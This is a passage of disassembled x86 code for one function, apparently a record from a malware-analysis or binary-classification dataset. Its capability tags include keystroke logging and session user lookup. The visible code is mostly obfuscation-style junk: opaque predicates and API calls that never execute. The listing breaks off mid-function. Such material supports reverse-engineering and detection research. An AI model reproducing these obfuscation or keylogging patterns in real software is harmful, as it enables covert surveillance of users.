Function at 0x44cb46
Capabilities:
Accept command line arguments
Compare security identifiers
Get session user name
Log keystrokes via polling
Parse pe header
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2328
call fcn.004a6a20
mov dword [ebp - 0x1448], 0x689bb5c
mov dword [ebp - 0x620], 0
jmp 0x44cb76
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 2
jge 0x44cb92
mov eax, dword [ebp - 0x620]
mov dword [ebp + eax*4 - 0x3ec], 9
jmp 0x44cb69
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3ec], 0
jmp 0x44cbc0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ec], 0xfffffff5
jg 0x44cf2f
mov dword [ebp - 0x70], 0x60f7e730
mov dword [ebp - 0x654], 0xffff
mov dword [ebp - 0x1468], 1
mov dword [ebp - 0x120], 0
jmp 0x44cc08
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jge 0x44cc24
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x18b8], 4
jmp 0x44cbfb
mov dword [ebp - 0x120], 0
jmp 0x44cc3d
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 4
jge 0x44cc59
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x2068], 0x832cb818
jmp 0x44cc30
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1f20], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ec]
mov dword [ebp - 0x156c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x156c]
mov dword [ebp + eax - 0x18b8], ecx
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2048], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ec]
mov dword [ebp - 0x1dc0], eax
mov eax, 0x8f1fe3d2
test eax, eax
je 0x44ccb6
mov eax, 0x6ed4bca9
test eax, eax
jne 0x44cccf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18b8], 0
jne 0x44cccf
and dword [ebp - 0x11f0], 0
jmp 0x44ccd9
mov dword [ebp - 0x11f0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11f0]
sub ecx, dword [ebp + eax - 0x3ec]
cmp ecx, 0xa0e40209
jne 0x44cd00
mov dword [ebp - 0x160c], 1
jmp 0x44cd07
and dword [ebp - 0x160c], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1f74], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1dc8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x70]
cmp dword [ebp + eax - 0x3ec], ecx
jne 0x44cd37
mov dword [ebp - 0x1408], 1
jmp 0x44cd3e
and dword [ebp - 0x1408], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ec]
cmp dword [ebp - 0x1408], eax
je 0x44cd5f
mov dword [ebp - 0x1410], 1
jmp 0x44cd66
and dword [ebp - 0x1410], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ec]
add eax, dword [ebp - 0x1410]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x3ec]
jne 0x44cd94
mov dword [ebp - 0x1418], 1
jmp 0x44cd9b
and dword [ebp - 0x1418], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x1418], eax
jge 0x44cdb2
mov dword [ebp - 0x1420], 1
jmp 0x44cdb9
and dword [ebp - 0x1420], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x70]
jge 0x44cdd4
mov dword [ebp - 0x1428], 1
jmp 0x44cddb
and dword [ebp - 0x1428], 0
imul eax, dword [ebp - 0x1428], 0xcf6a
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2068]
je 0x44cdff
mov dword [ebp - 0x1430], 1
jmp 0x44ce06
and dword [ebp - 0x1430], 0
mov eax, dword [ebp - 0x1430]
neg eax
mov dword [ebp - 0x1438], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1438]
mov dword [ebp + eax - 0x2068], ecx
cmp dword [ebp - 0x1438], 0
je 0x44ce57
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2068], 0
je 0x44ce57
mov eax, 0x3337672a
test eax, eax
je 0x44ce57
xor eax, eax
je 0x44ce57
mov dword [ebp - 0x1614], 1
jmp 0x44ce5e
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1ffc], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1dd0], eax
mov dword [ebp - 0x70], 0xe588
cmp dword [ebp - 0x70], 0
je 0x44ce92
cmp dword [ebp - 0x654], 0
je 0x44ce92
mov dword [ebp - 0x1440], 1
jmp 0x44ce99
and dword [ebp - 0x1440], 0
mov eax, dword [ebp - 0x1440]
mov dword [ebp - 0x1448], eax
cmp dword [ebp - 0x1448], 0
jne 0x44cec0
cmp dword [ebp - 0x654], 0
jne 0x44cec0
and dword [ebp - 0x1450], 0
jmp 0x44ceca
mov dword [ebp - 0x1450], 1
cmp dword [ebp - 0x1450], 0
ja 0x44cedf
mov dword [ebp - 0x1458], 1
jmp 0x44cee6
and dword [ebp - 0x1458], 0
mov eax, dword [ebp - 0x654]
imul eax, dword [ebp - 0x1458]
test eax, eax
je 0x44cf09
cmp dword [ebp - 0x70], 0
je 0x44cf09
mov dword [ebp - 0x1460], 1
jmp 0x44cf10
and dword [ebp - 0x1460], 0
mov eax, dword [ebp - 0x1460]
mov dword [ebp - 0x1468], eax
cmp dword [ebp - 0x1468], 0
je 0x44cf2a
jmp 0x44cba5
jmp 0x44cba5
mov dword [ebp - 0x628], 0xf37831e4
mov dword [ebp - 0x1f7c], 0x580d416d
mov dword [ebp - 0x1dd8], 0
mov dword [ebp - 0x20d0], 0x5131d8b9
mov dword [ebp - 0x1de0], 0x9ebf495e
mov dword [ebp - 0x1f84], 0x29f58382
mov dword [ebp - 0x1de8], 0xa2b82c44
mov dword [ebp - 0x2004], 0x20f746e3
mov dword [ebp - 0x1470], 0xffffffff
mov dword [ebp - 0xec], 0
jmp 0x44cfa2
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jge 0x44cfbe
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x1df0], 0xcf5720e8
jmp 0x44cf95
mov dword [ebp - 0xec], 0
jmp 0x44cfd7
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jge 0x44cff3
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x2164], 1
jmp 0x44cfca
mov byte [ebp - 0x233], 0
movzx eax, byte [ebp - 0x233]
test eax, eax
je 0x44d00d
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x628], 0
jmp 0x44d026
mov eax, dword [ebp - 0x628]
dec eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jl 0x44d19e
mov dword [ebp - 0x638], 0xffffffff
mov dword [ebp - 0x1f8c], 0x23fa3a92
mov dword [ebp - 0x1df8], 1
mov dword [ebp - 0x2050], 0xe0752570
mov dword [ebp - 0x1e00], 1
mov dword [ebp - 0x630], 0
jmp 0x44d07e
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 3
jge 0x44d09a
mov eax, dword [ebp - 0x630]
mov dword [ebp + eax*4 - 0x2240], 0xffffffff
jmp 0x44d071
mov byte [ebp - 0x238], 0
movzx eax, byte [ebp - 0x238]
test eax, eax
je 0x44d0c5
push 1
push 0x169b
push 0x284
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
mov dword [ebp - 0x638], 0
jmp 0x44d0de
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0
jg 0x44d199
mov dword [ebp - 0x1f94], 1
mov dword [ebp - 0x1e08], 7
mov dword [ebp - 0x200c], 0x99a5671
mov dword [ebp - 0x1e10], 0x859bb7a1
mov dword [ebp - 0x1f9c], 0x223b16aa
mov dword [ebp - 0x154], 0
jmp 0x44d136
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 4
jge 0x44d152
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x22c8], 0xda2ae7b7
jmp 0x44d129
mov dword [ebp - 0x154], 0
jmp 0x44d16b
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x44d187
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x21dc], 0xb07fb07d
jmp 0x44d15e
mov eax, dword [ebp - 0x1470]
inc eax
mov dword [ebp - 0x1470], eax
jmp 0x44d0d1
jmp 0x44d019
mov dword [ebp - 0x338], 0xffffffff
mov dword [ebp - 0x14d0], 0xffffffff
mov dword [ebp - 0x1624], 0xb24adc9f
mov dword [ebp - 0x338], 0
jmp 0x44d1d5
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x15
jl 0x44d396
mov dword [ebp - 0x2f4], 5
mov dword [ebp - 0x14d8], 5
mov dword [ebp - 0x640], 0
jmp 0x44d20f
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 3
jge 0x44d22b
mov eax, dword [ebp - 0x640]
mov dword [ebp + eax*4 - 0x20fc], 0xbe3d0e72
jmp 0x44d202
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1e18], eax
mov eax, 0xc842f88d
test eax, eax
jne 0x44d252
mov eax, 0x753f3ac9
test eax, eax
jne 0x44d252
and dword [ebp - 0x161c], 0
jmp 0x44d25c
mov dword [ebp - 0x161c], 1
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x1b04], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x1b0c], eax
mov eax, dword [ebp - 0x338]
inc eax
cmp eax, dword [ebp - 0x2f4]
jg 0x44d28f
mov dword [ebp - 0x1478], 1
jmp 0x44d296
and dword [ebp - 0x1478], 0
cmp dword [ebp - 0x1478], 0xcd3b
jg 0x44d2ae
mov dword [ebp - 0x1480], 1
jmp 0x44d2b5
and dword [ebp - 0x1480], 0
mov eax, dword [ebp - 0x2f4]
cmp eax, dword [ebp - 0x1480]
jle 0x44d2cf
mov dword [ebp - 0x14b8], 1
jmp 0x44d2d6
and dword [ebp - 0x14b8], 0
mov eax, dword [ebp - 0x2f4]
add eax, dword [ebp - 0x14b8]
cmp eax, dword [ebp - 0x2f4]
je 0x44d2fc
cmp dword [ebp - 0x14d8], 0
jne 0x44d2fc
and dword [ebp - 0x14c0], 0
jmp 0x44d306
mov dword [ebp - 0x14c0], 1
mov eax, dword [ebp - 0x14c0]
dec eax
cmp eax, 0x672a
jne 0x44d320
mov dword [ebp - 0x14c8], 1
jmp 0x44d327
and dword [ebp - 0x14c8], 0
mov eax, dword [ebp - 0x14c8]
mov dword [ebp - 0x14d0], eax
mov eax, dword [ebp - 0x14d0]
imul eax, dword [ebp - 0x14d8]
sub eax, 6
jne 0x44d351
mov dword [ebp - 0x770], 1
jmp 0x44d358
and dword [ebp - 0x770], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x770]
mov dword [ebp + eax - 0x20fc], ecx
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x1624], eax
mov byte [ebp - 0x261], 0
movzx eax, byte [ebp - 0x261]
test eax, eax
je 0x44d391
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
jmp 0x44d1c8
mov dword [ebp - 0x122c], 0x689bb5c
mov dword [ebp - 0x590], 0xc7bf0b96
mov dword [ebp - 0x1b14], 0x1dba3399
mov dword [ebp - 0x14e0], 0x4ab2
mov dword [ebp - 0x56c], 0
jmp 0x44d3d7
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 3
jge 0x44d3f3
mov eax, dword [ebp - 0x56c]
mov dword [ebp + eax*4 - 0x2270], 4
jmp 0x44d3ca
mov eax, dword [ebp - 0x14e0]
inc eax
mov dword [ebp - 0x14e0], eax
mov dword [ebp - 0x590], 0xfffffff2
jmp 0x44d419
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0x18
jg 0x44d476
mov dword [ebp - 0x162c], 8
mov dword [ebp - 0x414], 0
jmp 0x44d445
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 2
jge 0x44d461
mov eax, dword [ebp - 0x414]
mov dword [ebp + eax*4 - 0x1bb8], 0
jmp 0x44d438
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1bb8]
mov dword [ebp - 0x162c], eax
jmp 0x44d40c
mov dword [ebp - 0x598], 0
jmp 0x44d48f
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 2
jge 0x44d4ab
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x3f8], 9
jmp 0x44d482
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3f8], 0
jmp 0x44d4d9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3f8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3f8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3f8], 0xfffffff5
jg 0x44ecbd
mov dword [ebp - 0x1b1c], 0x257a10dd
mov dword [ebp - 0x780], 0x6773196e
mov dword [ebp - 0xf4], 0
jmp 0x44d51a
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x44d536
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x778], 0xfffffffb
jmp 0x44d50d
mov dword [ebp - 0xf4], 0
jmp 0x44d54f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jge 0x44d56b
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x22b8], 1
jmp 0x44d542
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x778], 0
je 0x44d61c
mov dword [ebp - 0x41c], 0xc4d8e5c
mov byte [ebp - 0x217], 0
movzx eax, byte [ebp - 0x217]
test eax, eax
je 0x44d5b4
push 0
push 0xa12
push 0
push 0xdf3
push 0x13b9
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov dword [ebp - 0x41c], 0xe
jmp 0x44d5cd
mov eax, dword [ebp - 0x41c]
dec eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xfffffff7
jge 0x44d617
mov dword [ebp - 0x3d8], 0x2e31d832
mov dword [ebp - 0x3d8], 0
jmp 0x44d5f9
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 1
jge 0x44d615
mov eax, dword [ebp - 0x3d8]
mov dword [ebp + eax*4 - 0x778], 0x7a3a11c1
jmp 0x44d5ec
jmp 0x44d5c0
jmp 0x44d823
mov dword [ebp - 0x5a0], 0xfffffff6
mov dword [ebp - 0x163c], 0x571c097b
mov dword [ebp - 0x5a0], 0
jmp 0x44d649
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 8
jl 0x44d7f1
mov dword [ebp - 0x1b24], 0x12a7b09f
mov dword [ebp - 0x114c], 0xffffffff
mov dword [ebp - 0x424], 0
jmp 0x44d683
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 1
jge 0x44d69f
mov eax, dword [ebp - 0x424]
mov dword [ebp + eax*4 - 0x1c4], 1
jmp 0x44d676
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1c4], 0
jmp 0x44d6cd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1c4], 0
jl 0x44d711
mov byte [ebp - 0x235], 0
movzx eax, byte [ebp - 0x235]
test eax, eax
je 0x44d70f
push 0
push 0x6ba
push 0x11ee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
jmp 0x44d6b2
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1c4]
cmp dword [ebp + eax - 0x1c4], ecx
je 0x44d739
mov dword [ebp - 0x14e8], 1
jmp 0x44d740
and dword [ebp - 0x14e8], 0
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x778]
cmp dword [ebp - 0x780], eax
jge 0x44d774
mov eax, 0xc415051a
test eax, eax
jne 0x44d774
and dword [ebp - 0x1634], 0
jmp 0x44d77e
mov dword [ebp - 0x1634], 1
mov eax, dword [ebp - 0x114c]
mov dword [ebp - 0x1b2c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
cmp dword [ebp - 0x14e8], eax
jle 0x44d7ab
mov dword [ebp - 0x1144], 1
jmp 0x44d7b2
and dword [ebp - 0x1144], 0
mov eax, dword [ebp - 0x163c]
cmp dword [ebp - 0x1144], eax
jl 0x44d7cc
mov dword [ebp - 0x854], 1
jmp 0x44d7d3
and dword [ebp - 0x854], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c4]
add eax, dword [ebp - 0x854]
mov dword [ebp - 0x114c], eax
jmp 0x44d63c
mov byte [ebp - 0x219], 0
movzx eax, byte [ebp - 0x219]
test eax, eax
je 0x44d823
push 0x12d5
push 0x789
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [ebp - 0x74], 0x60f7e730
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x116c], 0xffffffff
mov dword [ebp - 0x798], 0
mov dword [ebp - 0x1ac], 0
jmp 0x44d861
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x44d87d
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x3e0], 0xf2f4
jmp 0x44d854
mov dword [ebp - 0x1ac], 0
jmp 0x44d896
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x44d8b2
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x1654], 0x4f31bc46
jmp 0x44d889
mov dword [ebp - 0x3d0], 0xfffffffd
jmp 0x44d8cb
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x1a
jne 0x44dc59
mov dword [ebp - 0x334], 0x256a9ef7
mov dword [ebp - 0x88c], 0
mov dword [ebp - 0x1b34], 0x600ac80e
mov dword [ebp - 0x790], 0xac77acae
mov dword [ebp - 0x164c], 0x6747b1d0
mov dword [ebp - 0x334], 0
jmp 0x44d923
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jl 0x44db7c
mov dword [ebp - 0x2b4], 8
mov dword [ebp - 0x1644], 0xffffffff
mov dword [ebp - 0x207c], 0xfc9aeb9d
mov dword [ebp - 0x2078], 0xfc9aeb9d
mov dword [ebp - 0x2074], 0xfc9aeb9d
mov dword [ebp - 0x2070], 0xfc9aeb9d
mov dword [ebp - 0x5a8], 0
jmp 0x44d985
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 2
jge 0x44d9a1
mov eax, dword [ebp - 0x5a8]
mov dword [ebp + eax*4 - 0x21a4], 0
jmp 0x44d978
mov dword [ebp - 0x2b4], 0
jmp 0x44d9ba
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jl 0x44db77
mov dword [ebp - 0x42c], 0
jmp 0x44d9e0
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 3
jge 0x44d9fc
mov eax, dword [ebp - 0x42c]
mov dword [ebp + eax*4 - 0x2114], 0xffffffff
jmp 0x44d9d3
mov eax, dword [ebp - 0x1644]
mov dword [ebp - 0x1b3c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e0]
mov dword [ebp - 0x1b44], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x334]
cmp dword [ebp + eax - 0x3e0], ecx
jge 0x44da3c
mov dword [ebp - 0x85c], 1
jmp 0x44da43
and dword [ebp - 0x85c], 0
cmp dword [ebp - 0x85c], 1
je 0x44da58
mov dword [ebp - 0x1154], 1
jmp 0x44da5f
and dword [ebp - 0x1154], 0
mov eax, dword [ebp - 0x2b4]
mov eax, dword [ebp + eax*4 - 0x3e0]
cmp dword [ebp - 0x1154], eax
jg 0x44da80
mov dword [ebp - 0x864], 1
jmp 0x44da87
and dword [ebp - 0x864], 0
cmp dword [ebp - 0x864], 0x360d
jl 0x44da9f
mov dword [ebp - 0x115c], 1
jmp 0x44daa6
and dword [ebp - 0x115c], 0
cmp dword [ebp - 0x115c], 1
jbe 0x44dabb
mov dword [ebp - 0x86c], 1
jmp 0x44dac2
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x86c], 0x7413
jge 0x44dada
mov dword [ebp - 0x1164], 1
jmp 0x44dae1
and dword [ebp - 0x1164], 0
imul eax, dword [ebp - 0x1164], 0xe2db
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x3e0]
jl 0x44db06
mov dword [ebp - 0x788], 1
jmp 0x44db0d
and dword [ebp - 0x788], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x788]
mov dword [ebp + eax - 0x2114], ecx
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x88c], eax
mov dword [ebp - 0x790], 1
mov eax, dword [ebp - 0x790]
sub eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 0xe434
jge 0x44db5f
mov dword [ebp - 0x874], 1
jmp 0x44db66
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x164c], eax
jmp 0x44d9ad
jmp 0x44d916
mov eax, 0xb05d0942
test eax, eax
je 0x44dbd1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3e0], 0
je 0x44dba8
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x44dba8
mov dword [ebp - 0x87c], 1
jmp 0x44dbaf
and dword [ebp - 0x87c], 0
mov dword [ebp - 0x116c], 0xaf57
mov eax, dword [ebp - 0x116c]
imul eax, dword [ebp - 0x87c]
add eax, 6
cmp dword [ebp - 0x3d0], eax
jne 0x44dbf3
mov eax, 0x1739c36d
test eax, eax
jne 0x44dbf3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1654], 0
jne 0x44dbf3
and dword [ebp - 0x1174], 0
jmp 0x44dbfd
mov dword [ebp - 0x1174], 1
cmp dword [ebp - 0x1174], 1
je 0x44dc12
mov dword [ebp - 0x884], 1
jmp 0x44dc19
and dword [ebp - 0x884], 0
cmp dword [ebp - 0x884], 7
je 0x44dc2e
mov dword [ebp - 0x117c], 1
jmp 0x44dc35
and dword [ebp - 0x117c], 0
mov eax, dword [ebp - 0x334]
imul eax, dword [ebp - 0x117c]
sub eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x798]
mov dword [ebp - 0x88c], eax
jmp 0x44d8be
mov dword [ebp - 0x434], 0xad6f2ee
mov dword [ebp - 0x2bc], 0x7c8748af
mov dword [ebp - 0x65c], 0x11d962ee
mov dword [ebp - 0x764], 0xa835a23e
mov dword [ebp - 0x8b4], 0xfa90ef87
mov dword [ebp - 0x8bc], 0xf0c3
mov dword [ebp - 0x5b0], 0
jmp 0x44dcae
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 3
jge 0x44dcca
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x212c], 1
jmp 0x44dca1
cmp dword [ebp - 0x434], 0
je 0x44dd31
mov dword [ebp - 0x165c], 0x2ffab8c3
mov dword [ebp - 0x1184], 0x152c58fb
mov byte [ebp - 0x281], 0
movzx eax, byte [ebp - 0x281]
test eax, eax
je 0x44dcff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x165c]
mov dword [ebp - 0x1184], eax
mov eax, dword [ebp - 0x1184]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x764], eax
jmp 0x44dd52
mov byte [ebp - 0x21b], 0
movzx eax, byte [ebp - 0x21b]
test eax, eax
je 0x44dd52
push 0
push 0x1f80
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
cmp dword [ebp - 0x764], 0
jne 0x44dd6d
cmp dword [ebp - 0x434], 0
jne 0x44dd6d
and dword [ebp - 0x8a4], 0
jmp 0x44dd77
mov dword [ebp - 0x8a4], 1
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x1b4c], eax
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x1b54], eax
mov eax, dword [ebp - 0x434]
add eax, 3
imul eax, eax, 0x14cc
cmp eax, dword [ebp - 0x2bc]
jl 0x44ddb2
mov dword [ebp - 0x894], 1
jmp 0x44ddb9
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x894], 0xfffffffd
jge 0x44ddce
mov dword [ebp - 0x118c], 1
jmp 0x44ddd5
and dword [ebp - 0x118c], 0
cmp dword [ebp - 0x118c], 1
jg 0x44ddea
mov dword [ebp - 0x89c], 1
jmp 0x44ddf1
and dword [ebp - 0x89c], 0
cmp dword [ebp - 0x89c], 0xc6f7
je 0x44de09
mov dword [ebp - 0x1194], 1
jmp 0x44de10
and dword [ebp - 0x1194], 0
mov eax, dword [ebp - 0x2bc]
cmp eax, dword [ebp - 0x1194]
jge 0x44de2a
mov dword [ebp - 0x1664], 1
jmp 0x44de31
and dword [ebp - 0x1664], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x1b5c], eax
mov eax, dword [ebp - 0x2bc]
add eax, dword [ebp - 0x8a4]
cmp eax, dword [ebp - 0x8b4]
jne 0x44de5d
mov dword [ebp - 0x119c], 1
jmp 0x44de64
and dword [ebp - 0x119c], 0
mov eax, dword [ebp - 0x8bc]
cmp dword [ebp - 0x119c], eax
je 0x44de7e
mov dword [ebp - 0x8ac], 1
jmp 0x44de85
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x8ac]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x212c]
jg 0x44dea7
mov dword [ebp - 0x11a4], 1
jmp 0x44deae
and dword [ebp - 0x11a4], 0
mov eax, dword [ebp - 0x11a4]
inc eax
cmp eax, dword [ebp - 0x8b4]
jg 0x44dec9
mov dword [ebp - 0x11ac], 1
jmp 0x44ded0
and dword [ebp - 0x11ac], 0
cmp dword [ebp - 0x11ac], 1
ja 0x44dee5
mov dword [ebp - 0x11b4], 1
jmp 0x44deec
and dword [ebp - 0x11b4], 0
mov eax, dword [ebp - 0x8bc]
cmp dword [ebp - 0x11b4], eax
jle 0x44df06
mov dword [ebp - 0x8c4], 1
jmp 0x44df0d
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x728], 0xffff
mov dword [ebp - 0x1b64], 0x257a10dd
mov dword [ebp - 0x664], 0x6773196e
mov dword [ebp - 0xfc], 0
jmp 0x44df50
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jge 0x44df6c
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x71c], 0xfffffffb
jmp 0x44df43
mov dword [ebp - 0xfc], 0
jmp 0x44df85
mov eax, dword [ebp - 0xfc]
inc eax
